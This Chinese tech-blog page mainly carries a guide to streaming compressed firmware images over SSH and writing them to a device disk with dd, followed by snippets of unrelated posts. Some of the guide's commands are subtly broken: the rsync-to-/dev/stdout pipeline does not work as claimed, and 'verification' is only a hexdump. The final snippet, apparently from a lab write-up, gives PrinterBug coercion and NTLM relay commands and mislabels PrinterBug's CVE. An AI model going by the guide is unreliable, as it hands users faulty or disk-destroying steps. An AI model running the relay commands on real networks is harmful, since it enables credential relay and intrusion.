当前位置：首页 > news >正文

Linux基础 -- SSH 流式烧录与压缩传输笔记

news 来源：原创 2025/7/3 20:36:45

Linux SSH 流式烧录与压缩传输指南

一、背景介绍

在嵌入式开发和维护中，常常需要通过 SSH 从 PC 向设备端传输大文件（如系统镜像、固件）并将其直接烧录到指定磁盘（如 /dev/mmcblk2）。然而，设备端存储空间有限，无法直接存储整个大文件。这种情况下，采用流式传输和解压的方式成为最佳选择。

二、基本原理

流式传输：PC 端数据通过 SSH 管道直接传输到设备端，不在设备端保存临时文件。
压缩与解压：PC 端压缩数据流，设备端解压并直接写入磁盘。
并行传输：启用多线程压缩/解压提升速度。

三、流式传输与烧录方法

3.1 基本流式烧录（无压缩）

ssh remote_user@device_ip "dd of=/dev/mmcblk2 bs=4M" < cm100s_mmcblk2p2

直接将本地文件流式传输并写入设备磁盘。

3.2 启用压缩传输（gzip）

gzip -c cm100s_mmcblk2p2 | ssh remote_user@device_ip "gzip -d | dd of=/dev/mmcblk2 bs=4M status=progress"

本地压缩数据，设备端解压并写入。

3.3 多线程压缩传输（pigz）

pigz -p $(nproc) < cm100s_mmcblk2p2 | ssh remote_user@device_ip "pigz -d | dd of=/dev/mmcblk2 bs=4M status=progress"

使用 pigz 多线程压缩，提升传输速率。

3.4 直接传输压缩文件（.gz、.xz、.lz4）

如果文件已压缩，无需解压：

cat cm100s_mmcblk2p2.gz | ssh remote_user@device_ip "gzip -d | dd of=/dev/mmcblk2 bs=4M status=progress"

3.5 使用 rsync 支持断点续传

rsync --partial --progress -e ssh cm100s_mmcblk2p2 remote_user@device_ip:/dev/stdout | ssh remote_user@device_ip "dd of=/dev/mmcblk2 bs=4M"

--partial：中断后可继续。

四、提高写入可靠性

4.1 启用写入校验

ssh remote_user@device_ip "sync && hexdump -C /dev/mmcblk2 | head"

4.2 自动化脚本

自动选择压缩格式（gzip/xz/lz4）。
自动检测写入完整性。
断点续传自动重试。

五、故障排查

SSH 连接中断：确保网络稳定，使用 rsync --partial。
设备空间不足：采用流式传输（如 gzip -d | dd）。
数据校验失败：确保块大小与传输方式一致（bs=4M）。

六、附录：优化建议

启用多线程压缩（pigz）。
确保 PC 端和设备端 CPU 性能匹配。
使用专用网络（千兆网）提高传输速度。

Linux基础 -- SSH 流式烧录与压缩传输笔记

Linux SSH 流式烧录与压缩传输指南一、背景介绍在嵌入式开发和维护中，常常需要通过 SSH 从 PC 向设备端传输大文件（如系统镜像、固件）并将其直接烧录到指定磁盘（如 /dev/mmcblk2）。然而，设备端存储空间…...

编程日记 2025/7/3 20:36:45

＜论文＞（微软）避免推荐域外物品：基于LLM的受限生成式推荐

一、摘要本文介绍微软和深圳大学合作发表于2025年5月的论文《Avoid Recommending Out-of-Domain Items: Constrained Generative Recommendation with LLMs》。论文主要研究如何解决大语言模型（LLMs）在推荐系统中推荐域外物品的问题，提出了 …...

编程日记 2025/7/3 20:26:54

2025年渗透测试面试题总结-360[实习]安全工程师（题目+回答）

网络安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。目录 1. 自我介绍 2. WAF及其绕过方式 3. IPS/IDS/HIDS 4. 云安全 5. 绕过安骑士/安全狗 6. Gopher扩展…...

编程日记 2025/6/29 0:59:16

【机器学习】支持向量回归（SVR）从入门到实战：原理、实现与优化指南

前言在机器学习的广阔领域中，回归分析作为预测连续型变量的重要手段，被广泛应用于金融预测、工业生产、科学研究等诸多场景。支持向量回归（SVR）作为回归算法家族中的佼佼者，凭借独特的理论优势与强大的实践能力脱颖而…...

编程日记 2025/6/30 14:29:01

右值引用的学习

传统的C语法中就有引用的语法，而C11中新增了的右值引用语法特性，所以从现在开始我们之前学习的引用就叫做左值引用。无论左值引用还是右值引用，都是给对象取别名。左值引用和右值引用在讲之前，我们先来看一下什么是左值和右值…...

编程日记 2025/6/28 23:00:54

碎片笔记｜AI生成图像溯源方法源码复现经验（持续更新中……）

前言：本篇博客分享一些溯源方法的复现经验，希望能帮助到大家🎉。目录 1. Close-set AttributionRepmixDe-FakeDNA-Net 2. Open-set AttributionPOSE 3. Single-Model AttributionOCC-CLIPLatentTracer 1. Close-set Attribution Repmix 论…...

编程日记 2025/7/3 20:35:59

elementplus el-tree 二次封装支持配置删除后展示展开或折叠编辑复选框懒加载功能

本文介绍了基于 ElementPlus 的 el-tree 组件进行二次封装的 TreeView 组件，使用 Vue3 和 JavaScript 实现。TreeView 组件通过 props 接收树形数据、配置项等，支持懒加载、节点展开/收起、节点点击、删除、编辑等操作。组件内部通过 ref 管理树实例&…...

编程日记 2025/7/3 20:11:26

【C/C++】深度探索c++对象模型_笔记

1. 对象内存布局 (1) 普通类（无虚函数） 成员变量排列：按声明顺序存储，但编译器会根据内存对齐规则插入填充字节（padding）。class Simple {char a; // 1字节（偏移0）int b; …...

编程日记 2025/7/3 20:31:18

Spring MVC数据绑定和响应你了解多少？

数据绑定的概念在程序运行时，Spring MVC接收到客户端的请求后，会根据客户端请求的参数和请求头等数据信息，将参数以特定的方式转换并绑定到处理器的形参中。Spring MVC中将请求消息数据与处理器的形参建立连接的过程就是Spring MVC的数据绑…...

编程日记 2025/6/29 0:09:12

外贸礼品禁忌

一、亚洲 1.印度牛是神圣动物，别送牛皮制品。另外，左手不洁，送礼得用右手或双手。 2.日本 “梳” 和 “苦” 谐音，不送梳子。日本男性不咋佩戴首饰，除结婚戒指。礼物得装盒、纸包、绳饰，白色包装得有…...

编程日记 2025/6/28 23:01:34

【MySQL 基础篇】深入解析MySQL逻辑架构与查询执行流程

1 MySQL逻辑架构概述 MySQL 的逻辑架构主要分为 Server 层和存储引擎层两部分。 Server 层：包含连接器、查询缓存、分析器、优化器、执行器等组件。同时，所有的内置函数（如日期、时间、数学和加密函数等）也在这一层实现。此外&a…...

编程日记 2025/7/3 20:14:22

基于C#实现中央定位服务器的 P2P 网络聊天系统

基于中央定位服务器的 P2P 网络聊天系统 1 需求分析与实现功能本次作业旨在实现一个基于中央定位服务器的 P2P 网络聊天系统，也即通过中央定位服务器实现登入，登出与好友的 IP 查询等操作，在好友间的通信使用 P2P 来完成，具体见…...

编程日记 2025/6/29 1:20:00

1.底层红黑树节点的定义 enum Colur {RED,BLACK }; template<class T> struct RBTreeNode {RBTreeNode<T>* _left;RBTreeNode<T>* _right;RBTreeNode<T>* _parent;T _data;Colur _col;RBTreeNode(const T& data):_left(nullptr), _right(nullptr…...

编程日记 2025/6/28 22:58:41

数据结构·字典树

字典树trie 顾名思义，在一个字符串的集合里查询某个字符串是否存在树形结构。树存储方式上用的是结构体数组，类似满二叉树的形式。模板定义结构体和trie 结构体必须的内容：当前结点的字符，孩子数组可选：end用于查…...

编程日记 2025/6/29 0:14:09

centos服务器，疑似感染phishing家族钓鱼软件的检查

如果怀疑 CentOS 服务器感染了 Phishing 家族钓鱼软件，需要立即进行全面检查并采取相应措施。以下是详细的检查和处理步骤： 1. 立即隔离服务器如果可能，将服务器从网络中隔离，以防止进一步传播或数据泄露。如果无法完全隔离&…...

编程日记 2025/6/28 22:59:03

（C语言）超市管理系统（测试2版）（指针）（数据结构）（清屏操作）

目录前言： 源代码： product.h product.c fileio.h fileio.c main.c 代码解析： 一、程序结构概述二、product.c 函数详解 1. 初始化商品列表 Init_products 2. 添加商品 add_product 3. 显示商品 display_products 4. 修改商品 mo…...

编程日记 2025/6/28 22:58:42

可变形卷积简介（Deformable Convolution）

1. 核心原理可变形卷积通过动态调整卷积核的采样位置，增强模型对几何形变（如旋转、缩放）的适应能力。其核心改进包括： 偏移量（Offset）：为卷积核的每个采样点学习 x / y x/y x/y方向的偏移量 …...

编程日记 2025/6/28 22:58:43

02_Servlet

目录一、简介二、Servlet入门案例2.1、编写Servlet2.2、配置Servlet2.3、访问Servlet2.4、常见错误三、Servlet详解3.1、实现Servlet的三种方式3.1.1、实现Servlet接口3.1.2、继承GenericServlet类3.1.3、继承HttpServlet类 3.2、配置Servlet的两种方式3.2.1、web.xml方式3.2…...

编程日记 2025/6/28 23:01:05

stm32之FLASH

目录 1.简介2.闪存模块组织3.基本结构3.1 FPEC3.2 程序存储器3.2.1 标准编程3.2.2 页擦除3.2.3 全擦除 3.3 选项字节3.3.1 编程3.3.2 擦除 4.器件电子签名5.实验-读取内部FLASH 1.简介 STM32F1系列的FLASH内存是一个非常重要的存储区域，它主要由三个部分组成&#…...

编程日记 2025/6/29 0:25:52

第3.4节调用链路分析服务开发

3.4.1 什么是Code Call Graph（CCG） Code Call Graph（CCG）即业务代码中的调用关系图，是通过静态分析手段分析并构建出的一种描述代码间关系的图。根据精度不同，一般分为类级别、方法级别、控制流级别&#x…...

编程日记 2025/7/2 17:38:54

超详细Docker教程

前言：大家在在Linux上部署mysql及其他软件时，大家想一想自己最大的感受是什么？ 我相信，除了个别天赋异禀的人以外，大多数人都会有相同的感受，那就是麻烦。核心体现在三点： 命令太多了&#xff…...

编程日记 2025/6/28 23:01:35

探索AI新领域：生成式人工智能认证（GAI认证）助力职场发展

在数字化时代的大潮中，人工智能（AI）技术以其强大的影响力和广泛的应用前景，正逐步重塑我们的生活与工作方式。随着生成式AI技术的崛起，掌握这一前沿技能已成为职场竞争中的关键优势。那么，如何通过系统的学…...

编程日记 2025/6/29 0:19:37

sql sql复习

虽然之前学习过sql，但由于重在赶学习进度，没有学扎实，导致自己刷题的时候有的地方还是模模糊糊，现在主要是复习，补一补知识点。今日靶场： NSSCTF 云曦历年考核题在做题之前先回顾一下sql注入的原理&…...

编程日记 2025/7/1 20:16:05

初探 Skynet：轻量级分布式游戏服务器框架实战

在游戏服务器开发领域，高效、稳定且易于扩展的框架一直是开发者追求的目标。Skynet 作为一款轻量级、高性能的分布式游戏服务器框架，凭借其独特的设计理念和强大的功能，赢得了众多开发者的青睐一.Skynet底层架构支持 1.Actor erlang 从语言…...

编程日记 2025/6/28 22:58:54

libarchive.so.19丢失

文章目录绝对路径可以启动，相对路径不可以以绝对路径启动conda环境，运行python3.8(成功) 报错 Error while loading conda entry point: conda-libmamba-solver (libarchive.so.19: cannot open shared object file: No such file or directory) sudo a…...

编程日记 2025/6/29 1:21:23

vue-ganttastic甘特图label标签横向滚动固定方法

这个甘特图之前插件里，没有找到能固定label标签在屏幕上的办法，用css各种办法都没有实现，所以我我直接手写定位，用js监听滚动条滚动的距离，然后同步移动甘特图label标签，造成一种定位的错觉，以下…...

编程日记 2025/6/28 22:59:00

自动化 NuGet 包打包与上传：完整批处理脚本详解（含 SVN 支持）

在大型项目中，我们常常需要定期打包多个 .csproj 项目为 NuGet 包，并上传到私有 NuGet 服务。这篇文章分享一份实战脚本，支持以下自动化流程： 自动读取、更新 .csproj 文件中的 Version、PackageOutputPath 等节点； 自…...

编程日记 2025/6/28 22:58:53

Go语言空白导入的作用与用途

在 Go 语言中，导入包时前面加下划线 _ 是一种特殊的导入方式，称为 “空白导入” 或 “匿名导入”。作用： 执行包的初始化（init 函数）但不直接使用包中的标识符 import _ "go.uber.org/automaxprocs" 表示你…...

编程日记 2025/6/28 23:00:58

实验六：按键模拟控制实现

FPGA序列检测器实验（远程实验系统）文章目录 FPGA序列检测器实验（远程实验系统）一、数字电路基础知识1. 时钟与同步2. 按键消抖原理代码讲解：分频与消抖3. 有限状态机（FSM）设计代码讲解：状态机编码与转移4. 边沿检测与信号同步5. 模块化设计二、实验数字电路整体思想三…...

编程日记 2025/6/29 0:23:26

【愚公系列】《Manus极简入门》038-数字孪生设计师：“虚实映射师”

🌟【技术大咖愚公搬代码：全栈专家的成长之路，你关注的宝藏博主在这里！】🌟 📣开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主！ &#x1f…...

编程日记 2025/6/28 22:58:48

Linux重定向与缓冲区

目录文件描述符的分配规则重定向使用 dup2 系统调用 FILE 文件描述符的分配规则 #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>int main() {int fd open("myfile", O_RDONLY);if(fd < 0){per…...

编程日记 2025/6/28 23:07:14

经典还原反应解析：Wolff-Kishner机制与黄鸣龙改进法

在有机化学发展史上记载的万余种经典反应中，当论及以科学家命名的标志性转化反应时，Wolff-Kishner-黄鸣龙还原反应必然占据重要地位。在大学《有机化学》课程中，学习还原反应时肯定会提到Wolff-Kishner-黄鸣龙还原反应，这是第一个…...

编程日记 2025/6/28 22:59:16

DataX从Mysql导数据到Hive分区表案例

0、下载DataX并解压到对应目录 DataX安装包，开箱即用，无需配置。 https://datax-opensource.oss-cn-hangzhou.aliyuncs.com/202308/datax.tar.gz 相关参考文档 https://github.com/alibaba/DataX/blob/master/hdfswriter/doc/hdfswriter.md 1、Hive分区…...

编程日记 2025/6/28 22:58:49

npm 报错 gyp verb `which` failed Error: not found: python2 解决方案

一、背景 npm 安装依赖报如下错： gyp verb check python checking for Python executable "python2" in the PATH gyp verb which failed Error: not found: python2 一眼看过去都觉得是Python环境问题，其实并不是你python环境问题&#xf…...

编程日记 2025/6/29 0:33:02

安装npm：npm未随Node.js一起安装

文章目录上传至linux服务器/usr/local/目录下如果npm没有随Node.js一起安装，你可以尝试单独下载并安装npm。但通常情况下，这是不必要的，因为npm是Node.js的一部分。如果确实需要单独安装npm，你可以参考npm的官方安装指南。 npm…...

编程日记 2025/6/28 23:33:44

C++23 ranges::to：范围转换函数 (P1206R7)

文章目录引言C23 Ranges 概述ranges::to 的定义与功能定义功能使用场景范围转换为容器简化字符串解析映射转换为向量 ranges::to 的优势代码简洁性提高开发效率与C23的stl容器的范围版本构造函数配合良好模板参数约束的思考总结引言在C的发展历程中，每一个新版…...

编程日记 2025/6/28 22:59:53

openfeign 拦截器实现微服务上下文打通

目录 openfeign 拦截器实现微服务上下文打通需求分析：代码实现：subject 服务：controllerFeign 拦截器：将 Feign 拦截器注册为一个Bean： auth 鉴权服务：全局配置类：登录拦截器：上下文…...

编程日记 2025/6/28 22:58:52

【MySQL】变更缓冲区：作用、主要配置以及如何查看

📢博客主页：https://blog.csdn.net/2301_779549673 📢博客仓库：https://gitee.com/JohnKingW/linux_test/tree/master/lesson 📢欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正！ &…...

编程日记 2025/6/29 0:01:51

TCP/IP-——C++编程详解

1. TCP/IP 编程基本概念 TCP（传输控制协议）：面向连接、可靠的传输层协议，保证数据顺序和完整性。IP（网际协议）：负责将数据包路由到目标地址。Socket（套接字）&#xff1a…...

编程日记 2025/6/29 1:29:29

微服务如何实现服务的高可用

背景：微服务分层需要考虑高可用和高并发的问题微服务如何实现服务的高可用先说结论：微服务实现高可用主要通过集群冗余故障自动转移来实现的具体可以从底下几种方案来实现。 “端”到“反向代理”的高可用“反向代理”到“站点应用”的高可用“站点…...

编程日记 2025/6/28 22:59:05

微服务调试问题总结

本地环境调试。启动本地微服务，使用公共nacos配置。利用如apifox进行本地代码调试解决调试问题。除必要的业务微服务依赖包需要下载到本地。使用mvn clean install -DskipTests进行安装启动前选择好profile环境进行启动，启动前记得mvn clean清理项目。…...

编程日记 2025/6/28 23:09:07

egpo进行train_egpo训练时，keyvalueError:“replay_sequence_length“

def execution_plan(workers: WorkerSet, config: TrainerConfigDict) -> LocalIterator[dict]: if config.get(“prioritized_replay”): prio_args { “prioritized_replay_alpha”: config[“prioritized_replay_alpha”], “prioritized_replay_beta”: config[“prior…...

编程日记 2025/6/28 22:58:56

Hadoop的组成

（一）Hadoop的组成对普通用户来说， Hadoop就是一个东西，一个整体，它能给我们提供无限的磁盘用来保存文件，可以使用提供强大的计算能力。在Hadoop3.X中，hadoop一共有三个组成部分&#…...

编程日记 2025/6/28 23:26:18

Android锁

引言 🔒 在 Android 应用的开发过程中，随着业务需求的复杂度不断提升，多线程并发场景层出不穷。为了保证数据一致性与线程安全，锁（Lock）成为了不可或缺的工具。本篇博客将深入剖析 Android 中常用的锁机制…...

编程日记 2025/6/29 0:12:51

XD08M3232接近感应单片机的接近感应模块的工作原理

XD08M3232接近感应单片机的接近感应模块基于电容式感应原理，通过硬件电路与软件配置实现对物体接近的检测。以下是其工作原理的详细解析： 一、硬件架构与核心组件 1. 核心电路组成接近感应模块由三大关键部分构成： 两个轨到轨运算放大器&…...

编程日记 2025/6/29 1:33:50

编程日志5.6

串的习题 1.2236. 判断根结点是否等于子结点之和 - 力扣（LeetCode） /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * Tr…...

编程日记 2025/6/29 0:37:00

量子计算实用化突破：从云端平台到国际竞合，开启算力革命新纪元

在硅谷某生物医药实验室，研究员艾米丽正盯着量子计算模拟界面露出微笑 —— 搭载中电信 "天衍" 量子计算云平台的 880 比特超导量子处理器，用 17 分钟完成了传统超算需 3 个月才能跑完的新型抗生素分子键合模拟。这个场景标志着量子计算正从 &…...

编程日记 2025/6/29 1:08:25

Made with Unity | 拓展“双点”宇宙版图

双点工作室（Two Point Studios）团队成立于2016年，其创立初衷是打造一个完美的游戏IP：构建一个既能持续吸引玩家，又具备足够扩展空间，同时经得起时间考验的虚拟世界。2018年，团队以《双点医院&am…...

编程日记 2025/6/29 1:28:59

3D 数据可视化系统是什么？具体应用在哪方面？

目录一、3D 数据可视化系统的定义与内涵 （一）基本概念 （二）核心要素二、3D 数据可视化系统的优势三、3D 数据可视化系统的应用领域 （一）城市规划与管理 （二）工业制造 &am…...

编程日记 2025/6/28 23:42:42

2025-5-14渗透测试：利用Printer Bug ，NTLMv2 Hash Relay（中继攻击），CVE-2019-1040漏洞复现

python3 printerbug.py test.com/test192.168.186.131 192.168.186.134 sudo python2 MultiRelay.py -t 192.168.186.132 -u ALLPrinter Bug 原理 PrinterBug（CVE-2018-0886）是Windows打印系统服务（Spooler）的一个设计缺陷&…...

编程日记 2025/6/29 0:18:58